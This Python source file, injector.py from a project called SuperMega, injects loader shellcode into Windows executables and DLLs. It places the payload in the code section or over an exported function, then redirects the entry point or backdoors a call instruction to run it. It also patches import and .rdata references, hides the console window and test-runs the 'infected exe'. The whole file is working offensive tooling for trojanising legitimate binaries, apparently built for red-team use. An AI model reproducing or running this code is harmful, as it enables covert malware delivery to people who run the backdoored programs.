Files
SuperMega/phases/injector.py
T
2024-05-08 11:44:37 +01:00

243 lines
11 KiB
Python

from helper import *
import logging
import time
import logging
from typing import Dict, List
from model.carrier import Carrier, DataReuseEntry
from pe.pehelper import *
from observer import observer
from pe.derbackdoorer import FunctionBackdoorer
from pe.superpe import SuperPe
from model.project import Project
from model.settings import Settings
logger = logging.getLogger("Injector")
def inject_exe(
main_shc_path: FilePath,
settings: Settings,
project: Project,
):
shellcode_in = project.payload.payload_path
exe_in = settings.inject_exe_in
exe_out = settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
source_style: FunctionInvokeStyle = settings.source_style
logger.info("--[ Injecting: {} into {} -> {}".format(
shellcode_in, exe_in, exe_out
))
# Read prepared loader shellcode
# And check if it fits into the target code section
main_shc = file_readall_binary(main_shc_path)
shellcode_len = len(main_shc)
code_sect_size = project.carrier.superpe.get_code_section().Misc_VirtualSize
if shellcode_len + 128 > code_sect_size:
raise Exception("Error: Shellcode {}+128 too small for target code section {}".format(
shellcode_len, code_sect_size
))
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
superpe = SuperPe(exe_in)
function_backdoorer = FunctionBackdoorer(superpe)
# Patch IAT if necessary
if source_style == FunctionInvokeStyle.iat_reuse:
for iatRequest in project.carrier.get_all_iat_requests():
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
superpe.pe.parse_data_directories()
shellcode_offset: int = 0 # file offset
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Special case. put it at the beginning of the exported DLL function
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
rva = superpe.getExportEntryPoint(settings.dllfunc)
# Size and sanity checks
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
if shellcode_len >= function_size:
raise Exception("Shellcode too large: {} > {} exported function {}".format(
shellcode_len, function_size, settings.dllfunc
))
# Inject
shellcode_offset = superpe.get_offset_from_rva(rva)
logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
else: # Put it somewhere in the code section, and rewire the flow
sect = superpe.get_code_section()
if sect == None:
raise Exception('Could not find code section in input PE file!')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < shellcode_len:
raise Exception("Shellcode too large: {} > {}".format(
shellcode_len, sect_size
))
shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section
shellcode_offset += sect.PointerToRawData
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
logger.info("--( Inject: Shellcode rva:0x{:X} (from offset:0x{:X})".format(
shellcode_rva, shellcode_offset))
# Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
# rewire flow
if superpe.is_dll() and settings.dllfunc != "":
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above, without arriving here
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.getExportEntryPoint(settings.dllfunc)
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
settings.dllfunc, addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
else: # EXE
logger.info("---( Rewire: EXE")
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
shellcode_rva))
superpe.set_entrypoint(shellcode_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.get_entrypoint()
logger.info("--( Inject EXE: Patch from entrypoint (0x{:X})".format(
addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
if source_style == FunctionInvokeStyle.iat_reuse:
injected_fix_iat(superpe, project.carrier)
injected_fix_data(superpe, project.carrier)
# changes from console to UI (no console window) if necessary
superpe.patch_subsystem()
# We done
superpe.write_pe_to_file(exe_out)
# verify and log
#shellcode = file_readall_binary(shellcode_in)
#shellcode_len = len(shellcode)
#code = extract_code_from_exe_file(exe_out)
#in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len]
#jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12]
#if config.debug:
# observer.add_code_file("exe_extracted_loader", in_code)
# observer.add_code_file("exe_extracted_jmp", jmp_code)
def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
"""replace IAT-placeholders in shellcode with call's to the IAT"""
code = superpe.get_code_section_data()
for iatRequest in carrier.get_all_iat_requests():
if not iatRequest.placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
offset_from_code = code.index(iatRequest.placeholder)
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
))
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
code = code.replace(iatRequest.placeholder, jmp)
superpe.write_code_section_data(code)
def injected_fix_data(superpe: SuperPe, carrier: Carrier):
"""Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA"""
# Insert my data into the .rdata section.
# Chose and save each datareuse_fixup's addres.
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
if len(reusedata_fixups) == 0:
# nothing todo
return
# Put stuff into .rdata section in the PE
peSection = carrier.superpe.get_section_by_name(".rdata")
if peSection == None:
raise Exception("No .rdata section found, abort")
rm = carrier.superpe.get_rdata_relocmanager()
if True: # FIXME this is a hack which is sometimes necessary
sect_data_copy = peSection.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 100:
logging.warn("weird: Strings in .rdata section at offset {} < 100".format(string_off))
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
# Do all .rdata patches
for datareuse_fixup in reusedata_fixups:
# get a hole in the .rdata section to put our data
hole = rm.find_hole(len(datareuse_fixup.data))
if hole == None:
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
len(datareuse_fixup.data)
))
fixup_offset_rdata = hole[0] # the start address of the hole (from start of .rdata)
rm.add_range(hole[0], hole[1]) # mark it as used
var_data = datareuse_fixup.data
superpe.pe.set_bytes_at_offset(fixup_offset_rdata, var_data)
datareuse_fixup.addr = fixup_offset_rdata + peSection.virt_addr + carrier.superpe.get_image_base() - peSection.raw_addr
logging.info(" Add data to .rdata at 0x{:X} (off: {}): {}".format(
datareuse_fixup.addr, fixup_offset_rdata, var_data.decode('utf-16le')))
fixup_offset_rdata += len(var_data) + 8
# patch code section
# replace the placeholder with a LEA instruction to the data we written above
code = superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups:
if not datareuse_fixup.randbytes in code:
raise Exception("DataReuse: ID {} not found, abort".format(
datareuse_fixup.randbytes))
offset_from_datasection = code.index(datareuse_fixup.randbytes)
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr
logger.info(" Replace {} at VA 0x{:X} with LEA {} .rdata 0x{:X}".format(
datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address
))
lea = assemble_lea(
instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
)
code = code.replace(datareuse_fixup.randbytes, lea)
superpe.write_code_section_data(code)
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
logger.info("---[ Verify infected exe: {} ".format(exefile))
# remove indicator file
pathlib.Path(VerifyFilename).unlink(missing_ok=True)
run_exe(exefile, dllfunc=dllfunc, check=False)
time.sleep(SHC_VERIFY_SLEEP)
if os.path.isfile(VerifyFilename):
logger.info("---> Verify OK. Infected exe works (file was created)")
# better to remove it immediately
os.remove(VerifyFilename)
return 0
else:
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
return 1